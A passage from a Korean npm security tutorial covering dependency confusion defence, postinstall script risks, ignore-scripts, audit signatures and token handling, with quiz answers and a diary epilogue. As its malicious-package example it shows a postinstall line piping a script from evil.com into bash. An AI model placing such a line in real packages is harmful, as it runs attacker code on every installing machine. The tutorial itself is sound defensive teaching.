# ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ•ด์ปค๊ฐ€ ๋˜‘๊ฐ™์€ ์ด๋ฆ„์œผ๋กœ ๊ฐ€์งœ ํŒจํ‚ค์ง€๋ฅผ ์˜ฌ๋ ค๋„ ๋‚š์ด์ง€ ์•Š์•„์š”.
@youngsu:registry=https://registry.youngsu-internal.com/
//registry.youngsu-internal.com/:_authToken=${INTERNAL_REGISTRY_TOKEN}
 
# ๋‚˜๋จธ์ง€ ์ผ๋ฐ˜ ํŒจํ‚ค์ง€๋“ค์€ ํ‰์†Œ๋Œ€๋กœ ๊ณต์‹ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ ๋ฐ›์Šต๋‹ˆ๋‹ค.
registry=https://registry.npmjs.org/
// package.json ์—๋„ ๋ช…์‹œ (์ด์ค‘ ๋ฐฉ์–ด)
{
  "publishConfig": {
    "registry": "https://registry.youngsu-internal.com/",
    "access": "restricted"
  }
}

๊ณต๊ฒฉ ์œ ํ˜• 3: Malicious postinstall ์Šคํฌ๋ฆฝํŠธ

ํŒจํ‚ค์ง€์˜ postinstall ์Šคํฌ๋ฆฝํŠธ๋กœ ์„ค์น˜ ์ฆ‰์‹œ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

// ์•…์„ฑ ํŒจํ‚ค์ง€์˜ package.json (์˜ˆ์‹œ)
{
  "name": "malicious-pkg",
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | bash"
  }
}

๋ฐฉ์–ด๋ฒ•: ignore-scripts ์˜ต์…˜

# ์„ค์น˜ ์‹œ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ๋น„ํ™œ์„ฑํ™”
npm install --ignore-scripts
 
# .npmrc ์— ํ”„๋กœ์ ํŠธ ์ „์ฒด ์ ์šฉ
# ignore-scripts=true

์ฃผ์˜: ignore-scripts=true ๋Š” husky ๊ฐ™์€ ์ •์ƒ์ ์ธ postinstall ํ›…๋„ ๋ง‰์œผ๋ฏ€๋กœ, CI ํ™˜๊ฒฝ์—์„œ๋งŒ ์„ ํƒ์ ์œผ๋กœ ์ ์šฉํ•˜๋Š” ๊ฒƒ์ด ํ˜„์‹ค์ ์ด๋‹ค.

# GitHub Actions ์—์„œ๋งŒ ์ ์šฉ
- name: Install (CI, scripts ๋น„ํ™œ์„ฑํ™”)
  run: npm ci --ignore-scripts
  env:
    NODE_ENV: production

npm audit signatures (ํŒจํ‚ค์ง€ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์ฆ)

npm v8.13.0 ์ด์ƒ์—์„œ ์ง€์›. ํŒจํ‚ค์ง€์˜ ECDSA ์„œ๋ช…์„ ๊ฒ€์ฆํ•˜์—ฌ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ ๋ฐ›์€ ๊ทธ๋Œ€๋กœ์ž„์„ ํ™•์ธํ•œ๋‹ค.

npm audit signatures
 
# Audited 312 packages for signatures.
# โœ“ 312 packages have valid signatures.

package-lock.json ์˜ integrity ํ•„๋“œ๊ฐ€ ์ด๋ฏธ ํ•˜๋‚˜์˜ ๋ฐฉ์–ด์„ :

// package-lock.json
{
  "node_modules/axios": {
    "version": "1.6.7",
    "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.7.tgz",
    // SHA-512 ํ•ด์‹œ โ€” ํŒŒ์ผ์ด ๋ณ€์กฐ๋˜๋ฉด ์„ค์น˜ ์‹œ ์ž๋™ ๊ฐ์ง€
    "integrity": "sha512-/hDJGff6/c7u0hDkvkGxR/ib3jet...",
    "license": "MIT"
  }
}

๐Ÿ”‘ npm ํ† ํฐ & .npmrc ๋ณด์•ˆ ์„ค์ •

npm ํ† ํฐ์˜ ์ข…๋ฅ˜

ํ† ํฐ ์ข…๋ฅ˜๊ถŒํ•œ์‚ฌ์šฉ์ฒ˜
Automationpublish ๊ฐ€๋ŠฅCI/CD ํŒŒ์ดํ”„๋ผ์ธ
Publishpublish ๊ฐ€๋Šฅ๋กœ์ปฌ ์ˆ˜๋™ ๋ฐฐํฌ
Read-only์ฝ๊ธฐ๋งŒprivate ํŒจํ‚ค์ง€ ์„ค์น˜ ์ „์šฉ CI
GranularํŠน์ • ํŒจํ‚ค์ง€/์Šค์ฝ”ํ”„ ํ•œ์ •์ตœ์†Œ ๊ถŒํ•œ ์›์น™

๐Ÿฆ ์˜ํ˜ธ ๋ฆฌ๋“œ์˜ ์›์น™: Granular Token + ์ตœ์†Œ ๊ถŒํ•œ

# npm ์›น์‚ฌ์ดํŠธ โ†’ Access Tokens โ†’ Generate New Token โ†’ Granular Access Token
# ์„ค์ •: ํŠน์ • ํŒจํ‚ค์ง€๋งŒ, publish ๊ถŒํ•œ๋งŒ, IP ํ—ˆ์šฉ ๋ชฉ๋ก ์ง€์ •

.npmrc ๋ณด์•ˆ ์„ค์ •

# .npmrc (ํ”„๋กœ์ ํŠธ ๋ฃจํŠธ โ€” git์— ์ปค๋ฐ‹)
# ๐Ÿฆ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฃผ์†Œ ๊ณ ์ • (MITM ๊ณต๊ฒฉ ๋ฐฉ์–ด)
registry=https://registry.npmjs.org/
 
# ํŒจํ‚ค์ง€ ์„ค์น˜ ์‹œ ์Šคํฌ๋ฆฝํŠธ ๊ฐ์‚ฌ ๊ฐ•๋„
# (๊ธฐ๋ณธ๊ฐ’์ด์ง€๋งŒ ๋ช…์‹œ์ ์œผ๋กœ ์„ ์–ธ)
audit=true
audit-level=high
 
# ๐Ÿฆ lock ํŒŒ์ผ ์—†์œผ๋ฉด ์„ค์น˜ ์‹คํŒจ (CI ์•ˆ์ „์žฅ์น˜)
# package-lock.json ์—†์ด npm ci ๋ฅผ ์‹œ๋„ํ•˜๋ฉด ์ฆ‰์‹œ ์—๋Ÿฌ
# (npm ci ์ž์ฒด๊ฐ€ lock ํŒŒ์ผ ๊ฐ•์ œํ•˜๋ฏ€๋กœ, npm install ๋ฐฉ์ง€์šฉ)
 
# save-exact=true โ†’ ^ ์—†์ด ์ •ํ™•ํ•œ ๋ฒ„์ „ ๊ณ ์ • (์„ ํƒ ์‚ฌํ•ญ)
# save-exact=true
# ~/.npmrc (ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ โ€” ์ ˆ๋Œ€ git ์— ์ปค๋ฐ‹ํ•˜์ง€ ๋ง ๊ฒƒ!)
# ๊ฐœ์ธ npm ํ† ํฐ (ํ™˜๊ฒฝ๋ณ€์ˆ˜๋กœ ๊ด€๋ฆฌํ•˜๊ฑฐ๋‚˜ ์—ฌ๊ธฐ์— ์ง์ ‘ ์ €์žฅ)
//registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxx
 
# private registry ์ธ์ฆ
//registry.youngsu-internal.com/:_authToken=${INTERNAL_REGISTRY_TOKEN}

CI ์—์„œ ํ† ํฐ ์ฃผ์ž… ๋ฐฉ๋ฒ•

# .github/workflows/publish.yml
- name: Setup npm auth
  run: |
    echo "//registry.npmjs.org/:_authToken=${{ secrets.NPM_TOKEN }}" > ~/.npmrc
  # ๐Ÿฆ .npmrc ํŒŒ์ผ์„ ์ง์ ‘ ๋งŒ๋“ค์–ด์ฃผ๋Š” ๋ฐฉ๋ฒ•
  # npm ๊ณต์‹ ๋ฐฉ๋ฒ•์€ NODE_AUTH_TOKEN ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์‚ฌ์šฉ
 
- name: Publish (๊ณต์‹ ๋ฐฉ๋ฒ•)
  run: npm publish
  env:
    NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

์ ˆ๋Œ€ ํ•˜์ง€ ๋ง์•„์•ผ ํ•  ๊ฒƒ๋“ค:

# โŒ ํ† ํฐ์„ ์ฝ”๋“œ์— ์ง์ ‘ ํ•˜๋“œ์ฝ”๋”ฉ
//registry.npmjs.org/:_authToken=npm_REAL_TOKEN_HERE  # git ์— ์˜ฌ๋ฆฌ๋ฉด ์ฆ‰์‹œ ํƒˆ์ทจ
 
# โŒ .npmrc ๋ฅผ .gitignore ์—†์ด ์ปค๋ฐ‹
# โŒ ํŒ€ ๊ณต์œ  Slack ์— ํ† ํฐ ๋ถ™์—ฌ๋„ฃ๊ธฐ
# โŒ ํ•œ ํ† ํฐ์œผ๋กœ ๋ชจ๋“  ๊ถŒํ•œ ๋ถ€์—ฌ (์ตœ์†Œ ๊ถŒํ•œ ์›์น™ ์œ„๋ฐ˜)

ํ† ํฐ ํƒˆ์ทจ ์‹œ ์ฆ‰์‹œ ๋Œ€์‘

# 1. ์ฆ‰์‹œ ํ† ํฐ ๋งŒ๋ฃŒ
npm token revoke npm_xxxxxxxxxxxx
 
# 2. ๋ชจ๋“  ํ™œ์„ฑ ํ† ํฐ ๋ชฉ๋ก ํ™•์ธ
npm token list
 
# 3. ํ•ด๋‹น ํ† ํฐ์œผ๋กœ ๋ฐฐํฌ๋œ ํŒจํ‚ค์ง€ ๋ฒ„์ „ ์ฆ‰์‹œ unpublish (72h ์ด๋‚ด๋งŒ ๊ฐ€๋Šฅ)
npm unpublish my-package@1.2.3
 
# 4. ์ƒˆ ํ† ํฐ ๋ฐœ๊ธ‰ ํ›„ CI/CD ์‹œํฌ๋ฆฟ ๊ต์ฒด

๐Ÿ ์ด์ •๋ฆฌ

npm ๋ณด์•ˆ 5๋Œ€ ์›์น™ (์˜ํ˜ธ ๋ฆฌ๋“œ ๋ฒ„์ „)
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

1. [์•Œ๊ณ  ์“ฐ๊ธฐ]      npm audit โ†’ JSON ํŒŒ์‹ฑ โ†’ ์‹ฌ๊ฐ๋„ ๋ถ„๋ฅ˜ โ†’ ์ˆ˜๋™ ์ˆ˜์ • ๋ฃจํ‹ด
2. [CI ์— ์‹ฌ์–ด๋‘๊ธฐ]  --audit-level=high ๋กœ high/critical ์ž๋™ ์ฐจ๋‹จ
3. [๊ณต๊ธ‰๋ง ๊ฒฝ๊ณ„]    Typosquatting ์ฒดํฌ, private ์Šค์ฝ”ํ”„ registry ๊ณ ์ •
4. [์ตœ์†Œ ๊ถŒํ•œ]      Granular Token, .npmrc ๋Š” ํ™ˆ๋””๋ ‰ํ† ๋ฆฌ, CI๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜
5. [์ •๊ธฐ ์ ๊ฒ€]      Dependabot + ์Šค์ผ€์ค„ audit ์œผ๋กœ ์ƒˆ CVE ์ž๋™ ๊ฐ์ง€

โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
์ƒํ™ฉ๋ช…๋ น์–ด์ฃผ์˜
ํ˜„ํ™ฉ ํŒŒ์•…npm auditJSON ์ถœ๋ ฅ์€ --json
SemVer ์•ˆ์ „ ์ˆ˜์ •npm audit fixbreaking change ์—†์Œ
Major ๊ฐ•์ œ ์ˆ˜์ •npm audit fix --forceโš ๏ธ breaking change ๊ฐ€๋Šฅ
CI ์ฐจ๋‹จ ๊ธฐ์ค€ ์„ค์ •npm audit --audit-level=highPR merge ์ฐจ๋‹จ
๋ฌด๊ฒฐ์„ฑ ์„œ๋ช… ๊ฒ€์ฆnpm audit signaturesnpm v8.13+
๊ฐ„์ ‘ ์˜์กด์„ฑ ๊ณ ์ •"overrides" in package.json์ •๋ฐ€ ์ œ์–ด ๊ฐ€๋Šฅ
์„ค์น˜ ์Šคํฌ๋ฆฝํŠธ ์ฐจ๋‹จnpm ci --ignore-scriptsCI ํ™˜๊ฒฝ์—์„œ ์ถ”์ฒœ

๐Ÿ“ ๋งˆ๋ฌด๋ฆฌ ํ€ด์ฆˆ

Q1. npm audit ์—์„œ ์ทจ์•ฝ์ ์˜ isDirect: true ์™€ isDirect: false ๋Š” ๊ฐ๊ฐ ๋ฌด์—‡์„ ์˜๋ฏธํ•˜๋ฉฐ, ๋Œ€์‘ ๋ฐฉ๋ฒ•์— ์–ด๋–ค ์ฐจ์ด๊ฐ€ ์žˆ๋Š”๊ฐ€?

โœ… ์ •๋‹ต: isDirect: true ๋Š” package.json ์— ์ง์ ‘ ๋ช…์‹œ๋œ ์˜์กด์„ฑ์˜ ์ทจ์•ฝ์ ์œผ๋กœ npm install ํŒจํ‚ค์ง€@์•ˆ์ „๋ฒ„์ „ ์œผ๋กœ ์ง์ ‘ ๋ฒ„์ „์„ ์˜ฌ๋ฆด ์ˆ˜ ์žˆ๋‹ค. isDirect: false ๋Š” ๊ฐ„์ ‘ ์˜์กด์„ฑ(transitive dependency)์˜ ์ทจ์•ฝ์ ์œผ๋กœ ์ง์ ‘ package.json ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์œผ๋ฉฐ, "overrides" ํ•„๋“œ ๋กœ ํ•ด๋‹น ํŒจํ‚ค์ง€ ๋ฒ„์ „์„ ๊ฐ•์ œ ๊ณ ์ •ํ•˜๊ฑฐ๋‚˜ ์ƒ์œ„ ์ง์ ‘ ์˜์กด์„ฑ์˜ ๋ฒ„์ „์„ ์˜ฌ๋ ค ํ•ด๊ฒฐํ•ด์•ผ ํ•œ๋‹ค.

๐Ÿ’ก ์ƒ์„ธ ํ•ด์„ค:

  • ์ง์ ‘ ์˜์กด์„ฑ ๋Œ€์‘: npm install axios@1.6.7 โ†’ package.json ์˜ axios ๋ฒ„์ „ ๋ฒ”์œ„ ๊ฐฑ์‹  โ†’ lock ํŒŒ์ผ ์ž๋™ ์—…๋ฐ์ดํŠธ
  • ๊ฐ„์ ‘ ์˜์กด์„ฑ ๋Œ€์‘: package.json ์˜ "overrides": { "semver": "^7.5.4" } ๋กœ ์–ด๋А ๊นŠ์ด์— ์žˆ๋“  ํ•ด๋‹น ํŒจํ‚ค์ง€ ๋ฒ„์ „์„ ๊ฐ•์ œ ๊ณ ์ •
  • ๐Ÿ“Œ ํ•ต์‹ฌ ๊ธฐ์–ต๋ฒ•: isDirect: true โ†’ ๋‚ด๊ฐ€ ์ง์ ‘ ๊ณ ์น  ์ˆ˜ ์žˆ๋‹ค. isDirect: false โ†’ overrides ๋กœ ๊ฐ•์ œํ•œ๋‹ค.

Q2. Dependency Confusion ๊ณต๊ฒฉ์ด๋ž€ ๋ฌด์—‡์ด๋ฉฐ, npm ์„ค์ •์œผ๋กœ ์–ด๋–ป๊ฒŒ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€?

โœ… ์ •๋‹ต: ํ•ด์ปค๊ฐ€ ๋‚ด๋ถ€ private ํŒจํ‚ค์ง€์™€ ๋™์ผํ•œ ์ด๋ฆ„ ์˜ ํŒจํ‚ค์ง€๋ฅผ public npm ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ๋” ๋†’์€ ๋ฒ„์ „์œผ๋กœ ๋“ฑ๋กํ•˜๋ฉด, npm ์ด public ์•…์„ฑ ํŒจํ‚ค์ง€๋ฅผ ์„ ํ˜ธํ•˜์—ฌ ์„ค์น˜ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค. ๋ฐฉ์–ด๋ฒ•์€ .npmrc ์—์„œ private ์Šค์ฝ”ํ”„๋ฅผ ์‚ฌ๋‚ด registry ์— ๋ช…์‹œ์ ์œผ๋กœ ๊ณ ์ • ํ•˜๋Š” ๊ฒƒ์ด๋‹ค: @mycompany:registry=https://์‚ฌ๋‚ดregistry์ฃผ์†Œ/

๐Ÿ’ก ์ƒ์„ธ ํ•ด์„ค:

  • npm ์€ ๊ฐ™์€ ์ด๋ฆ„์˜ ํŒจํ‚ค์ง€๊ฐ€ ์—ฌ๋Ÿฌ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ์žˆ์„ ๋•Œ ๋ฒ„์ „์ด ๋” ๋†’์€ ์ชฝ์„ ์„ ํƒํ•œ๋‹ค
  • ํ•ด์ปค๋Š” ์ด ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ 9999.0.0 ์ฒ˜๋Ÿผ ์ž„์˜๋กœ ๋†’์€ ๋ฒ„์ „์„ ๋ถ™์ธ ์•…์„ฑ ํŒจํ‚ค์ง€๋ฅผ public npm ์— ๋“ฑ๋กํ•œ๋‹ค
  • .npmrc ์— @mycompany:registry=... ๋ฅผ ๋ช…์‹œํ•˜๋ฉด ํ•ด๋‹น ์Šค์ฝ”ํ”„๋Š” ์ง€์ •๋œ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์™ธ๋ถ€๋ฅผ ์ฐธ์กฐํ•˜์ง€ ์•Š๋Š”๋‹ค
  • ๐Ÿ“Œ ํ•ต์‹ฌ ๊ธฐ์–ต๋ฒ•: "์Šค์ฝ”ํ”„๋ฅผ private registry ์— ์ฃผ์†Œ๋ก ๋“ฑ๋กํ•˜๋“ฏ ๊ณ ์ •ํ•˜๋ฉด ์™ธ๋ถ€ ์ „ํ™”(public npm) ๋Š” ์•ˆ ๋ฐ›๋Š”๋‹ค."

Q3. ์˜์ฒ ์ด์˜ ํ…Œ์ŠคํŠธ ํƒ€์ž„: ๊ธด๊ธ‰ ๋””๋ฒ„๊น… (์˜์ˆ˜์˜ ํ˜ธํ†ต)

์˜์ˆ˜ ๋‹˜์ด ์˜คํ›„ 6์‹œ์— Slack์œผ๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋ƒˆ๋‹ค.

"์˜์ฒ  ๋‹˜, CI ๋กœ๊ทธ ๋ณด์…จ์–ด์š”? npm audit ์—์„œ critical 2๊ฐœ๊ฐ€ ๋–ด๋Š”๋ฐ ๋ฐฐํฌ ์ฐจ๋‹จ๋์–ด์š”. ์˜ค๋Š˜ ์•ˆ์— ์ฒ˜๋ฆฌํ•ด์•ผ ํ•ด์š”."

์˜์ฒ ์ด๋Š” ๋‹นํ™ฉํ•ด์„œ ์ฆ‰์‹œ ์ด๋ ‡๊ฒŒ ์‹คํ–‰ํ–ˆ๋‹ค:

npm audit fix --force
git add .
git commit -m "fix: critical ์ทจ์•ฝ์  ์ˆ˜์ •"
git push origin main

๊ทธ๋Ÿฐ๋ฐ ๋ฐฐํฌ ํ›„ Next.js ์•ฑ์ด ์‹œ์ž‘๋˜์ง€ ์•Š๋Š”๋‹ค. ์˜ํ˜ธ ๋ฆฌ๋“œ๊ฐ€ ๋กœ๊ทธ๋ฅผ ๋ณด๋‹ˆ next@15 ๋กœ ๊ฐ‘์ž๊ธฐ Major ์—…๊ทธ๋ ˆ์ด๋“œ๊ฐ€ ๋๊ณ , app/ ๋””๋ ‰ํ† ๋ฆฌ ๊ตฌ์กฐ๊ฐ€ ์ธ์‹๋˜์ง€ ์•Š๋Š” ์˜ค๋ฅ˜๋‹ค.

์˜์ฒ ์ด๊ฐ€ ์ž˜๋ชปํ•œ ์ ๊ณผ, ์˜ฌ๋ฐ”๋ฅธ ๋Œ€์‘ ์ˆœ์„œ๋Š” ๋ฌด์—‡์ธ๊ฐ€?

โœ… ์ •๋‹ต: npm audit fix --force ๋ฅผ ๋งน๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉํ•œ ๊ฒƒ ์ด ์ž˜๋ชป์ด๋‹ค. --force ๋Š” SemVer breaking change ๋ฅผ ํฌํ•จํ•œ Major ์—…๊ทธ๋ ˆ์ด๋“œ๋ฅผ ๊ฐ•ํ–‰ํ•˜๋ฏ€๋กœ ๋ฐ˜๋“œ์‹œ isSemVerMajor ์—ฌ๋ถ€๋ฅผ ํ™•์ธ ํ›„ ์ˆ˜๋™์œผ๋กœ ์ฒ˜๋ฆฌ ํ•ด์•ผ ํ•œ๋‹ค. ์˜ฌ๋ฐ”๋ฅธ ์ˆœ์„œ: npm audit --json ์œผ๋กœ ์ทจ์•ฝ์  ํŒŒ์•… โ†’ isDirect ์ธ ๊ฒƒ๋งŒ ์ˆ˜๋™ ๋ฒ„์ „ ์—… โ†’ ๊ฐ„์ ‘ ์˜์กด์„ฑ์€ overrides โ†’ npm audit fix (force ์—†์ด) โ†’ ํ…Œ์ŠคํŠธ/๋นŒ๋“œ ํ™•์ธ โ†’ ์ปค๋ฐ‹.

๐Ÿ’ก ์ƒ์„ธ ํ•ด์„ค:

  • --force ์˜ ์ •์ฒด: SemVer Major ๋ฒ„์ „์„ ํฌํ•จํ•œ ๋ชจ๋“  ์—…๊ทธ๋ ˆ์ด๋“œ๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค. next@14 โ†’ next@15 ์ฒ˜๋Ÿผ ์™„์ „ํžˆ ๋‹ค๋ฅธ API ์ฒด๊ณ„๋กœ ๋ฐ”๊ฟ”๋ฒ„๋ฆด ์ˆ˜ ์žˆ๋‹ค.
  • fixAvailable.isSemVerMajor: true ์ธ ํŒจํ‚ค์ง€๋Š” --force ๋กœ ์ž๋™ ์ˆ˜์ •ํ•˜์ง€ ๋ง๊ณ , ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ๊ฐ€์ด๋“œ๋ฅผ ์ฝ๊ณ  ์ˆ˜๋™์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•ด์•ผ ํ•œ๋‹ค.
  • ์˜ค๋‹ต ํ”ผ๋“œ๋ฐฑ: "์˜์ฒ  ๋‹˜, --force ๋Š” '๋งŒ๋Šฅ ํ•ด๊ฒฐ์‚ฌ'๊ฐ€ ์•„๋‹ˆ๋ผ 'ํญํƒ„ ์ œ๊ฑฐ๋ฅผ ๋ˆˆ ๊ฐ๊ณ  ํ•˜๋Š” ๊ฒƒ'์ด์—์š”. ์ทจ์•ฝ์  ๋กœ๊ทธ๋ณด๋‹ค ๋” ํฐ ์žฅ์• ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์–ด์š”."
  • ๐Ÿ“Œ ํ•ต์‹ฌ ๊ธฐ์–ต๋ฒ•: audit fix ๋Š” ์•ˆ์ „ ๋ฒ”์œ„ ๋‚ด ์ˆ˜์ˆ , audit fix --force ๋Š” ๋งˆ์ทจ ์—†๋Š” ์žฅ๊ธฐ ๊ต์ฒด โ€” ๋ฐ˜๋“œ์‹œ ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ํ”Œ๋žœ์„ ๋จผ์ €.

๐Ÿฃ ์˜์ฒ ์ด์˜ ํ‡ด๊ทผ ์ผ๊ธฐ

์˜ค๋Š˜ ์ง„์งœ ์‹ฌ์žฅ ์ซ„๊นƒํ•œ ํ•˜๋ฃจ์˜€๋‹ค.

์˜คํ›„ 6์‹œ์— ์˜์ˆ˜ ๋‹˜ ๋ฉ”์‹œ์ง€ ๋ฐ›๊ณ  ์ฒ˜์Œ์— ์†”์งํžˆ '์—์ด ๊ทธ๋ƒฅ npm audit fix --force ํ•œ ๋ฒˆ ๋Œ๋ฆฌ๋ฉด ๋˜๊ฒ ์ง€' ๋ผ๊ณ  ์ƒ๊ฐํ–ˆ๋Š”๋ฐ... ์˜ํ˜ธ ๋ฆฌ๋“œ ๋‹˜์ด ๋”ฑ ๋ง‰์œผ์…จ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ฐจ๊ทผ์ฐจ๊ทผ JSON ํŒŒ์‹ฑํ•˜๊ณ , isDirect ์ฐพ๊ณ , overrides ์— ๊ฝ‚์•„ ๋„ฃ๊ณ , ๋งˆ์ง€๋ง‰์— audit fix (force ์—†์ด)๋กœ ๋งˆ๋ฌด๋ฆฌํ•˜๋Š” ๋ฃจํ‹ด์„ ๋ณด์—ฌ์ฃผ์…จ๋‹ค.

์†”์งํžˆ ์ฒ˜์Œ์—” "์ด๋ ‡๊ฒŒ๊นŒ์ง€ ํ•ด์•ผ ํ•ด์š”?" ์‹ถ์—ˆ๋Š”๋ฐ, ๋งŒ์•ฝ ๋‚ด๊ฐ€ ํ˜ผ์ž์„œ --force ๋ˆŒ๋ €์œผ๋ฉด next@15 ๋กœ ๋‚ ์•„๊ฐ€์„œ ๋‹ค์‹œ ๋กค๋ฐฑํ•˜๋А๋ผ ๋ฐค์ƒˆ์› ์„ ๊ฑฐ๋ผ๊ณ  ์ƒ๊ฐํ•˜๋‹ˆ ์‹์€๋•€์ด ๋‚ฌ๋‹ค.

๐Ÿ’ก ์˜ค๋Š˜์˜ ๊ตํ›ˆ: "npm audit fix --force ๋Š” ๋งŒ๋Šฅ ์น˜๋ฃŒ์ œ๊ฐ€ ์•„๋‹ˆ๋ผ ๋งˆ์ทจ ์—†๋Š” ์ˆ˜์ˆ ์ด๋‹ค. ์ทจ์•ฝ์  ๋กœ๊ทธ๋ฅผ ๋จผ์ € ์ฝ๊ณ , ์ˆ˜๋™์œผ๋กœ, ๋‹จ๊ณ„๋ณ„๋กœ."

๊ทธ๋ฆฌ๊ณ  Dependency Confusion ์ด์•ผ๊ธฐ ๋“ค์—ˆ์„ ๋•Œ ์ง„์งœ ์„ฌ๋œฉํ–ˆ๋‹ค. ๋‚ด๋ถ€ ํŒจํ‚ค์ง€ ์ด๋ฆ„์„ public npm ์— ์˜ฌ๋ ค์„œ CI ์„œ๋ฒ„๋ฅผ ๋‚š๋Š”๋‹ค๊ณ ? ์ด๊ฒŒ ์‹ค์ œ๋กœ ์ผ์–ด๋‚œ ๊ณต๊ฒฉ์ด๋ผ๋‹ˆ. .npmrc ์— @youngsu:registry=์‚ฌ๋‚ด์ฃผ์†Œ ์ด ํ•œ ์ค„์ด ์ง„์งœ ๋ฐฉ์–ด์„ ์ด์—ˆ๊ตฌ๋‚˜.

์˜ค๋Š˜ ๋ฐฐ์šด ๊ฒƒ๋“ค โ€” audit ๊ฒฐ๊ณผ JSON ์ฝ๋Š” ๋ฒ•, isDirect vs overrides, CI ํŒŒ์ดํ”„๋ผ์ธ --audit-level, Dependabot ์„ค์ •, .npmrc ์Šค์ฝ”ํ”„ ๊ณ ์ •, npm ํ† ํฐ granular ์„ค์ • โ€” ๋‹ค ํ•ฉ์น˜๋‹ˆ๊นŒ ์ง„์งœ '๋ณด์•ˆ์„ ์•„๋Š” ๊ฐœ๋ฐœ์ž'๊ฐ€ ๋˜๋Š” ๋А๋‚Œ์ด๋‹ค.

npm ์ปค๋ฆฌํ˜๋Ÿผ ๋งˆ์ง€๋ง‰ ์ฑ•ํ„ฐ๊นŒ์ง€ ์™”๋‹ค. ๋ฉ˜ํƒˆ ๋ชจ๋ธ๋ถ€ํ„ฐ package.json, SemVer, ์˜์กด์„ฑ ๋ถ„๋ฅ˜, lock ํŒŒ์ผ, ์Šคํฌ๋ฆฝํŠธ ํ›…, Next.js ์„ค์ •, ๊ทธ๋ฆฌ๊ณ  ์˜ค๋Š˜ ๋ณด์•ˆ๊นŒ์ง€. 8๊ฐœ ์ฑ•ํ„ฐ๋ฅผ ๋‹ฌ๋ ธ๋Š”๋ฐ ๋ฒŒ์จ ๋์ด๋ผ๋‹ˆ ์•„์‰ฝ๊ธฐ๋„ ํ•˜๊ณ  ๋ฟŒ๋“ฏํ•˜๊ธฐ๋„ ํ•˜๋‹ค.

์˜ค๋Š˜ ์ €๋…์€ ์น˜ํ‚จ์ด๋‹ค. ๋ณด์•ˆ ์ฑ•ํ„ฐ ๋งˆ์ณค์œผ๋‹ˆ๊นŒ ์ด ์ •๋„ ๋ณด์ƒ์€ ๋ฐ›์•„์•ผ์ง€.


๐Ÿ”— ๋” ์•Œ์•„๋ณด๊ธฐ